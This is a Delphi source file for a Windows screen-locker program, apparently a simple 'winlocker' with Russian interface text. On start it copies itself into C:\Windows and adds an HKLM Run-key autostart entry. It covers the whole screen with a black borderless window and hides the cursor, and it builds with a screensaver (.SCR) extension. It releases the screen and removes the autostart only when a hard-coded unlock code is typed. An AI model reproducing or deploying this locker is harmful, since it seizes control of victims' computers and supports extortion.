unit Unit1;

                                  

                                  interface

                                  

                                  uses

                                      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

                                      Dialogs, Registry, ExtCtrls, StdCtrls, XPMan;

                                  

                                  type

                                      TForm1 = class(TForm)

                                        Label1: TLabel;

                                        Edit1: TEdit;

                                        Button1: TButton;

                                        XPManifest1: TXPManifest;

                                        Button2: TButton;

                                        procedure FormCreate(Sender: TObject);

                                        procedure Button1Click(Sender: TObject);

                                        procedure Button2Click(Sender: TObject);

                                      private

                                        { Private declarations }

                                      public

                                        { Public declarations }

                                      end;

                                  

                                  var

                                      Form1: TForm1;

                                  

                                  implementation

                                  

                                  {$R *.dfm}

                                  {$E SCR}

                                  

                                  procedure TForm1.FormCreate(Sender: TObject);

                                  var

                                  Reg:TRegistry;

                                  begin

                                  CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);

                                  Reg:=TRegistry.Create;

                                  Reg.RootKey:=HKEY_LOCAL_MACHINE;

                                  Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);

                                  Reg.WriteString('Project1','C:\Windows\Project1.exe');

                                  Reg.CloseKey;

                                  Reg.Free;

                                  Button2.Visible:=False;

                                  Form1.Color:=0;

                                  Form1.BorderStyle:=bsNone;

                                  Form1.Left:=0;

                                  Form1.Top:=0;

                                  Form1.Width:=Screen.Width;

                                  Form1.Height:=Screen.Height;

                                  ShowCursor(false);

                                  Label1.Font.Color:=RGB(0,200,0);

                                  Label1.Font.Size:=18;

                                  end;

                                  

                                  procedure DelKey;

                                  var

                                  Reg:Tregistry;

                                  begin

                                  Reg:=TRegistry.Create;

                                  Reg.RootKey:=HKEY_LOCAL_MACHINE;

                                  Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);

                                  Reg.DeleteValue(Application.Title);

                                  Reg.Free;

                                  end;

                                  

                                  procedure TForm1.Button1Click(Sender: TObject);

                                  begin

                                  if Edit1.Text= 'AAAA-AAAA-AAAA-AAAA' Then

                                     begin

                                     DelKey;

                                     Label1.Caption:= 'Верный код';

                                     Button1.Visible:=False;

                                     Button2.Visible:=True;

                                     end

                                     else

                                      Label1.Caption:= 'Код не верный!';

                                  end;

                                  

                                  procedure TForm1.Button2Click(Sender: TObject);

                                  begin

                                  Close;

                                  end;

                                  

                                  end.